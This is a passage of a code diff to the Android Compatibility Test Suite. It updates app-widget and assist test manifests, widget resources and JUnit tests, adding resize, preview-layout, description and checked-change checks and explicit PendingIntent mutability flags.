 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.widgetprovider">
+     package="android.appwidget.cts.widgetprovider">
 
     <application>
-        <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
+        <receiver android:name="android.appwidget.cts.packages.SimpleProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
-                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
+                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/widget_no_config" />
+                 android:resource="@xml/widget_no_config"/>
             <meta-data android:name="my_custom_info"
-                       android:resource="@xml/widget_config" />
+                 android:resource="@xml/widget_config"/>
         </receiver>
     </application>
 </manifest>
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
index 8a070b4..6674f54 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV2.xml
@@ -16,18 +16,19 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.widgetprovider">
+     package="android.appwidget.cts.widgetprovider">
 
     <application>
-        <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
+        <receiver android:name="android.appwidget.cts.packages.SimpleProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
-                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
+                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/widget_no_config" />
+                 android:resource="@xml/widget_no_config"/>
             <meta-data android:name="my_custom_info"
-                       android:resource="@xml/widget_config_no_resize" />
+                 android:resource="@xml/widget_config_no_resize"/>
         </receiver>
     </application>
 </manifest>
diff --git a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
index f6f012e..ac77f90 100644
--- a/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
+++ b/tests/tests/appwidget/packages/widgetprovider/AndroidManifestV3.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          package="android.appwidget.cts.widgetprovider">
+     package="android.appwidget.cts.widgetprovider">
 
     <application>
-        <receiver android:name="android.appwidget.cts.packages.SimpleProvider">
+        <receiver android:name="android.appwidget.cts.packages.SimpleProvider"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
-                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE" />
+                <action android:name="android.appwidget.action.APPWIDGET_UPDATE"/>
+                <action android:name="android.appwidget.cts.widgetprovider.APPLY_OVERRIDE"/>
             </intent-filter>
             <meta-data android:name="android.appwidget.provider"
-                       android:resource="@xml/widget_no_config" />
+                 android:resource="@xml/widget_no_config"/>
         </receiver>
     </application>
 </manifest>
diff --git a/tests/tests/appwidget/res/layout/preview_layout.xml b/tests/tests/appwidget/res/layout/preview_layout.xml
new file mode 100644
index 0000000..6a5153a
--- /dev/null
+++ b/tests/tests/appwidget/res/layout/preview_layout.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<TextView android:id="@+id/widget_preview"
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:text="Widget preview" />
\ No newline at end of file
diff --git a/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml b/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
index ec621da..d9dbe8a 100644
--- a/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
+++ b/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
@@ -13,11 +13,22 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<TextView
+<LinearLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/item"
-    android:layout_width="120dp"
-    android:layout_height="120dp"
-    android:gravity="center"
-    android:textStyle="bold"
-    android:textSize="44sp" />
+    android:id="@+id/root"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:orientation="horizontal">
+    <Switch
+        android:id="@+id/toggle"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+    <TextView
+        android:id="@+id/item"
+        android:layout_width="120dp"
+        android:layout_height="120dp"
+        android:gravity="center"
+        android:textStyle="bold"
+        android:textSize="44sp" />
+</LinearLayout>
+
diff --git a/tests/tests/appwidget/res/values/constants.xml b/tests/tests/appwidget/res/values/constants.xml
index 375dae3..8879817 100644
--- a/tests/tests/appwidget/res/values/constants.xml
+++ b/tests/tests/appwidget/res/values/constants.xml
@@ -24,6 +24,10 @@
 
     <dimen name="first_min_resize_appwidget_size">60dp</dimen>
 
+    <dimen name="first_max_resize_appwidget_size">60dp</dimen>
+
+    <integer name="first_target_cell_appwidget_size">1</integer>
+
     <integer name="first_update_period_millis">86400000</integer>
 
     <integer name="first_resize_mode">3</integer>
@@ -38,6 +42,10 @@
 
     <dimen name="second_min_resize_appwidget_size">70dp</dimen>
 
+    <dimen name="second_max_resize_appwidget_size">70dp</dimen>
+
+    <integer name="second_target_cell_appwidget_size">2</integer>
+
     <integer name="second_update_period_millis">86500000</integer>
 
     <integer name="second_resize_mode">1</integer>
diff --git a/tests/tests/appwidget/res/values/strings.xml b/tests/tests/appwidget/res/values/strings.xml
new file mode 100644
index 0000000..ef4e5b8e
--- /dev/null
+++ b/tests/tests/appwidget/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<resources>
+    <string name="widget_description">Widget description</string>
+</resources>
\ No newline at end of file
diff --git a/tests/tests/appwidget/res/xml/first_appwidget_info.xml b/tests/tests/appwidget/res/xml/first_appwidget_info.xml
index d7c1028..1b99444 100644
--- a/tests/tests/appwidget/res/xml/first_appwidget_info.xml
+++ b/tests/tests/appwidget/res/xml/first_appwidget_info.xml
@@ -20,12 +20,18 @@
     android:minHeight="@dimen/first_min_appwidget_size"
     android:minResizeWidth="@dimen/first_min_resize_appwidget_size"
     android:minResizeHeight="@dimen/first_min_resize_appwidget_size"
+    android:maxResizeWidth="@dimen/first_max_resize_appwidget_size"
+    android:maxResizeHeight="@dimen/first_max_resize_appwidget_size"
+    android:targetCellWidth="@integer/first_target_cell_appwidget_size"
+    android:targetCellHeight="@integer/first_target_cell_appwidget_size"
     android:updatePeriodMillis="@integer/first_update_period_millis"
     android:configure="android.appwidget.cts.provider.FirstAppWidgetConfigureActivity"
     android:resizeMode="horizontal|vertical"
     android:widgetCategory="home_screen|keyguard"
     android:initialLayout="@layout/first_initial_layout"
+    android:description="@string/widget_description"
     android:initialKeyguardLayout="@layout/first_initial_keyguard_layout"
     android:previewImage="@drawable/first_android_icon"
+    android:previewLayout="@layout/preview_layout"
     android:autoAdvanceViewId="@id/first_auto_advance_view_id">
 </appwidget-provider>
diff --git a/tests/tests/appwidget/res/xml/second_appwidget_info.xml b/tests/tests/appwidget/res/xml/second_appwidget_info.xml
index d192b10..d6acd30 100644
--- a/tests/tests/appwidget/res/xml/second_appwidget_info.xml
+++ b/tests/tests/appwidget/res/xml/second_appwidget_info.xml
@@ -20,6 +20,10 @@
     android:minHeight="@dimen/second_min_appwidget_size"
     android:minResizeWidth="@dimen/second_min_resize_appwidget_size"
     android:minResizeHeight="@dimen/second_min_resize_appwidget_size"
+    android:maxResizeWidth="@dimen/second_max_resize_appwidget_size"
+    android:maxResizeHeight="@dimen/second_max_resize_appwidget_size"
+    android:targetCellWidth="@integer/second_target_cell_appwidget_size"
+    android:targetCellHeight="@integer/second_target_cell_appwidget_size"
     android:updatePeriodMillis="@integer/second_update_period_millis"
     android:configure="android.appwidget.cts.provider.SecondAppWidgetConfigureActivity"
     android:resizeMode="horizontal"
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetDimensionsTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetDimensionsTest.java
new file mode 100644
index 0000000..9861f87
--- /dev/null
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetDimensionsTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts;
+
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertTrue;
+
+import android.content.res.Resources;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AppWidgetDimensionsTest {
+
+    @Test
+    public void containerRadius_shouldBePositive() {
+        Resources resources = getInstrumentation().getTargetContext().getResources();
+        assertTrue(resources.getDimension(android.R.dimen.system_app_widget_background_radius) >= 0);
+    }
+
+    @Test
+    public void innerRadius_shouldBePositive() {
+        Resources resources = getInstrumentation().getTargetContext().getResources();
+        assertTrue(resources.getDimension(android.R.dimen.system_app_widget_inner_radius) >= 0);
+    }
+
+    @Test
+    public void internalPadding_shouldBePositive() {
+        Resources resources = getInstrumentation().getTargetContext().getResources();
+        assertTrue(resources.getDimension(android.R.dimen.system_app_widget_internal_padding) >= 0);
+    }
+}
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 944f873..8e25fcc 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -16,6 +16,8 @@
 
 package android.appwidget.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
@@ -518,6 +520,10 @@
 
             Drawable previewImage = foundProvider.loadPreviewImage(context, 0);
             assertNotNull(previewImage);
+
+            assertThat(foundProvider.loadDescription(context)).isEqualTo("Widget description");
+
+            assertThat(foundProvider.previewLayout).isEqualTo(R.layout.preview_layout);
         } finally {
             // Clean up.
             host.deleteAppWidgetId(appWidgetId);
@@ -1403,6 +1409,16 @@
                         AppWidgetProviderWithFeatures.Provider3.class.getName())).widgetFeatures);
     }
 
+
+    @AppModeFull(reason = "Instant apps cannot provide or host app widgets")
+    @Test
+    public void testAppWidgetGetActivityInfo() {
+        AppWidgetProviderInfo info = getFirstAppWidgetProviderInfo();
+        assertNotNull(info.getActivityInfo());
+        assertEquals(info.provider.getClassName(), info.getActivityInfo().name);
+        assertEquals(info.provider.getPackageName(), info.getActivityInfo().packageName);
+    }
+
     private void waitForCallCount(AtomicInteger counter, int expectedCount) {
         synchronized (mLock) {
             final long startTimeMillis = SystemClock.uptimeMillis();
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
index c4d4fcd..8297ce9 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTestCase.java
@@ -16,6 +16,8 @@
 
 package android.appwidget.cts;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assume.assumeTrue;
 
@@ -91,6 +93,22 @@
                         android.appwidget.cts.R.dimen.first_min_resize_appwidget_size), provider.minResizeWidth);
                 assertEquals(getNormalizedDimensionResource(
                         android.appwidget.cts.R.dimen.first_min_resize_appwidget_size), provider.minResizeHeight);
+                assertThat(
+                        getNormalizedDimensionResource(
+                                android.appwidget.cts.R.dimen.first_max_resize_appwidget_size))
+                        .isEqualTo(provider.maxResizeWidth);
+                assertThat(
+                        getNormalizedDimensionResource(
+                                android.appwidget.cts.R.dimen.first_max_resize_appwidget_size))
+                        .isEqualTo(provider.maxResizeHeight);
+                assertThat(
+                        getIntResource(
+                                android.appwidget.cts.R.integer.first_target_cell_appwidget_size))
+                        .isEqualTo(provider.targetCellWidth);
+                assertThat(
+                        getIntResource(
+                                android.appwidget.cts.R.integer.first_target_cell_appwidget_size))
+                        .isEqualTo(provider.targetCellHeight);
                 assertEquals(getIntResource(android.appwidget.cts.R.integer.first_update_period_millis),
                         provider.updatePeriodMillis);
                 assertEquals(getInstrumentation().getTargetContext().getPackageName(),
@@ -109,6 +127,10 @@
                         provider.previewImage);
                 assertEquals(android.appwidget.cts.R.id.first_auto_advance_view_id,
                         provider.autoAdvanceViewId);
+                assertEquals(android.appwidget.cts.R.string.widget_description,
+                        provider.descriptionRes);
+                assertEquals(android.appwidget.cts.R.layout.preview_layout,
+                        provider.previewLayout);
                 firstProviderVerified = true;
             } else if (secondComponentName.equals(provider.provider)
                     && android.os.Process.myUserHandle().equals(provider.getProfile())) {
@@ -120,6 +142,22 @@
                         android.appwidget.cts.R.dimen.second_min_resize_appwidget_size), provider.minResizeWidth);
                 assertEquals(getNormalizedDimensionResource(
                         android.appwidget.cts.R.dimen.second_min_resize_appwidget_size), provider.minResizeHeight);
+                assertThat(
+                        getNormalizedDimensionResource(
+                                android.appwidget.cts.R.dimen.second_max_resize_appwidget_size))
+                        .isEqualTo(provider.maxResizeWidth);
+                assertThat(
+                        getNormalizedDimensionResource(
+                                android.appwidget.cts.R.dimen.second_max_resize_appwidget_size))
+                        .isEqualTo(provider.maxResizeHeight);
+                assertThat(
+                        getIntResource(
+                                android.appwidget.cts.R.integer.second_target_cell_appwidget_size))
+                        .isEqualTo(provider.targetCellWidth);
+                assertThat(
+                        getIntResource(
+                                android.appwidget.cts.R.integer.second_target_cell_appwidget_size))
+                        .isEqualTo(provider.targetCellHeight);
                 assertEquals(getIntResource(android.appwidget.cts.R.integer.second_update_period_millis),
                         provider.updatePeriodMillis);
                 assertEquals(getInstrumentation().getTargetContext().getPackageName(),
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
index 2bc4e47..925fa69 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
@@ -19,6 +19,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.mockito.ArgumentMatchers.any;
@@ -40,7 +41,9 @@
 import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.view.View;
+import android.view.ViewGroup;
 import android.widget.AbsListView;
+import android.widget.CompoundButton;
 import android.widget.ListView;
 import android.widget.RemoteViews;
 import android.widget.RemoteViewsService;
@@ -64,6 +67,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Predicate;
 
 /**
  * Test AppWidgets which host collection widgets.
@@ -164,7 +168,9 @@
                 extras.putString(BlockingBroadcastReceiver.KEY_PARAM, COUNTRY_LIST[position]);
                 Intent fillInIntent = new Intent();
                 fillInIntent.putExtras(extras);
-                remoteViews.setOnClickFillInIntent(R.id.item, fillInIntent);
+                remoteViews.setOnClickFillInIntent(R.id.root, fillInIntent);
+                remoteViews.setOnCheckedChangeResponse(
+                        R.id.toggle, RemoteViews.RemoteResponse.fromFillInIntent(fillInIntent));
 
                 if (position == 0) {
                     factoryCountDownLatch.countDown();
@@ -339,6 +345,82 @@
         verifyItemClickIntents(3);
     }
 
+    /**
+     * Verifies that setting the item at {@code index} to {@code newChecked} sends a broadcast with
+     * the proper country and checked extras filled in.
+     *
+     * @param index the index to test
+     * @param newChecked the new checked state, which must be different from the current value
+     */
+    private void verifyItemCheckedChangeIntents(int index, boolean newChecked) throws Throwable {
+        BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver();
+        mActivityRule.runOnUiThread(() -> receiver.register(BROADCAST_ACTION));
+
+        mStackView = (StackView) mAppWidgetHostView.findViewById(R.id.remoteViews_stack);
+        PollingCheck.waitFor(() -> mStackView.getCurrentView() != null);
+
+        mActivityRule.runOnUiThread(
+                () -> {
+                    ViewGroup currentView = (ViewGroup) mStackView.getCurrentView();
+                    CompoundButton toggle =
+                            findFirstMatchingView(currentView, v -> v instanceof CompoundButton);
+                    if (newChecked) {
+                        assertFalse(toggle.isChecked());
+                    } else {
+                        assertTrue(toggle.isChecked());
+                    }
+                    toggle.setChecked(newChecked);
+                });
+        assertEquals(COUNTRY_LIST[index],
+                receiver.getParam(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        if (newChecked) {
+            assertTrue(receiver.result.getBooleanExtra(RemoteViews.EXTRA_CHECKED, false));
+        } else {
+            assertFalse(receiver.result.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
+        }
+    }
+
+    @Test
+    public void testSetOnCheckedChangePendingIntent() throws Throwable {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
+        // Toggle the view twice to get the true and false broadcasts.
+        verifyItemCheckedChangeIntents(0, true);
+        verifyItemCheckedChangeIntents(0, false);
+        verifyItemCheckedChangeIntents(0, true);
+
+        // Switch to another child
+        verifySetDisplayedChild(2);
+        verifyItemCheckedChangeIntents(2, true);
+
+        // And one more
+        verifyShowCommand(CollectionAppWidgetProvider.KEY_SHOW_NEXT, 3);
+        verifyItemCheckedChangeIntents(3, true);
+    }
+
+    // Casting type for convenience. Test will fail either way if it's wrong.
+    @SuppressWarnings("unchecked")
+    private static <T extends View> T findFirstMatchingView(View view, Predicate<View> predicate) {
+        if (predicate.test(view)) {
+            return (T) view;
+        }
+        if ((!(view instanceof ViewGroup))) {
+            return null;
+        }
+
+        ViewGroup viewGroup = (ViewGroup) view;
+        for (int i = 0; i < viewGroup.getChildCount(); i++) {
+            View result = findFirstMatchingView(viewGroup.getChildAt(i), predicate);
+            if (result != null) {
+                return (T) result;
+            }
+        }
+
+        return null;
+    }
+
     private class ListScrollListener implements AbsListView.OnScrollListener {
         private CountDownLatch mLatchToNotify;
 
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
index f255454..97df491 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
@@ -70,7 +70,7 @@
         extras.putString("dummy", launcherPkg + "-dummy");
 
         PendingIntent pinResult = PendingIntent.getBroadcast(context, 0,
-                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT);
+                new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         AppWidgetManager.getInstance(context).requestPinAppWidget(
                 getFirstWidgetComponent(), extras, pinResult);
 
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
index a01241f..4cf3f8f 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
@@ -143,7 +143,7 @@
         // Push update
         RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
                 PendingIntent.getBroadcast(mActivity, 0,
-                        new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT)));
+                        new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
         getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
 
         // Await until update
@@ -165,7 +165,7 @@
         RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
                 PendingIntent.getActivity(mActivity, 0,
                         new Intent(mActivity, TransitionActivity.class),
-                        PendingIntent.FLAG_UPDATE_CURRENT)));
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
         getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
 
         // Await until update
@@ -229,7 +229,7 @@
         views.setViewVisibility(R.id.remoteViews_stack, View.GONE);
         views.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
         PendingIntent pendingIntent = PendingIntent.getBroadcast(mActivity, 0,
-                new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT);
+                new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         views.setPendingIntentTemplate(R.id.remoteViews_list, pendingIntent);
 
         // Await until update
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
index b1b21b7..f0c6e5a 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
@@ -107,7 +107,7 @@
         // to create unique before on an item to item basis.
         Intent viewIntent = new Intent(BROADCAST_ACTION);
         PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, viewIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         widgetAdapterView.setPendingIntentTemplate(R.id.remoteViews_stack, pendingIntent);
 
diff --git a/tests/tests/assist/AndroidManifest.xml b/tests/tests/assist/AndroidManifest.xml
index feff7c4..2d68e1a 100644
--- a/tests/tests/assist/AndroidManifest.xml
+++ b/tests/tests/assist/AndroidManifest.xml
@@ -16,40 +16,40 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.assist.cts">
+     package="android.assist.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
-    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
 
     <application>
-      <uses-library android:name="android.test.runner" />
+      <uses-library android:name="android.test.runner"/>
       <!-- resizeableActivity makes the TestStartActivity run on Primary display to accommodate
-           stack behavior assumptions in this test. See b/70032125 -->
+                     stack behavior assumptions in this test. See b/70032125 -->
       <activity android:name="android.assist.cts.TestStartActivity"
-                android:label="Assist Test Start Activity"
-                android:resizeableActivity="false">
+           android:label="Assist Test Start Activity"
+           android:resizeableActivity="false"
+           android:exported="true">
           <intent-filter>
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_ASSIST_STRUCTURE" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_DISABLE_CONTEXT" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_FLAG_SECURE" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_LIFECYCLE" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_SCREENSHOT" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_EXTRA_ASSIST" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_TEXTVIEW" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_LARGE_VIEW_HIERARCHY" />
-              <action android:name="android.intent.action.TEST_START_ACTIVITY_WEBVIEW" />
-              <category android:name="android.intent.category.LAUNCHER" />
-              <category android:name="android.intent.category.DEFAULT" />
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_ASSIST_STRUCTURE"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_DISABLE_CONTEXT"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_FLAG_SECURE"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_LIFECYCLE"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_SCREENSHOT"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_EXTRA_ASSIST"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_TEXTVIEW"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_LARGE_VIEW_HIERARCHY"/>
+              <action android:name="android.intent.action.TEST_START_ACTIVITY_WEBVIEW"/>
+              <category android:name="android.intent.category.LAUNCHER"/>
+              <category android:name="android.intent.category.DEFAULT"/>
           </intent-filter>
       </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.assist.cts"
-                     android:label="CTS tests of android.assist">
+         android:targetPackage="android.assist.cts"
+         android:label="CTS tests of android.assist">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
-
diff --git a/tests/tests/assist/TEST_MAPPING b/tests/tests/assist/TEST_MAPPING
new file mode 100644
index 0000000..c694fc6
--- /dev/null
+++ b/tests/tests/assist/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAssistTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        }
+      ]
+    }
+  ]
+}
\ No newline at end of file
diff --git a/tests/tests/assist/common/src/android/assist/common/Utils.java b/tests/tests/assist/common/src/android/assist/common/Utils.java
index 50e4d42..86062b2 100755
--- a/tests/tests/assist/common/src/android/assist/common/Utils.java
+++ b/tests/tests/assist/common/src/android/assist/common/Utils.java
@@ -48,6 +48,7 @@
     public static final String ASSIST_STRUCTURE_KEY = "assist_structure";
     public static final String ASSIST_CONTENT_KEY = "assist_content";
     public static final String ASSIST_BUNDLE_KEY = "assist_bundle";
+    public static final String ASSIST_IS_ACTIVITY_ID_NULL = "assist_is_activity_id_null";
     public static final String ASSIST_SCREENSHOT_KEY = "assist_screenshot";
     public static final String SCREENSHOT_COLOR_KEY = "set_screenshot_color";
     public static final String COMPARE_SCREENSHOT_KEY = "compare_screenshot";
@@ -55,6 +56,7 @@
     public static final String DISPLAY_HEIGHT_KEY = "dislay_height";
     public static final String SCROLL_X_POSITION = "scroll_x_position";
     public static final String SCROLL_Y_POSITION = "scroll_y_position";
+    public static final String SHOW_SESSION_FLAGS_TO_SET = "show_session_flags_to_set";
 
     /** Lifecycle Test intent constants */
     public static final String LIFECYCLE_PREFIX = ACTION_PREFIX + "lifecycle_";
diff --git a/tests/tests/assist/service/AndroidManifest.xml b/tests/tests/assist/service/AndroidManifest.xml
index 05da5fd..e116a1c 100644
--- a/tests/tests/assist/service/AndroidManifest.xml
+++ b/tests/tests/assist/service/AndroidManifest.xml
@@ -16,62 +16,64 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.assist.service">
+     package="android.assist.service">
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
 
     <application>
-      <uses-library android:name="android.test.runner" />
+      <uses-library android:name="android.test.runner"/>
       <service android:name=".MainInteractionService"
-               android:label="CTS test voice interaction service"
-               android:permission="android.permission.BIND_VOICE_INTERACTION"
-               android:process=":interactor"
-               android:exported="true"
-               android:visibleToInstantApps="true">
+           android:label="CTS test voice interaction service"
+           android:permission="android.permission.BIND_VOICE_INTERACTION"
+           android:process=":interactor"
+           android:exported="true"
+           android:visibleToInstantApps="true">
           <meta-data android:name="android.voice_interaction"
-                     android:resource="@xml/interaction_service" />
+               android:resource="@xml/interaction_service"/>
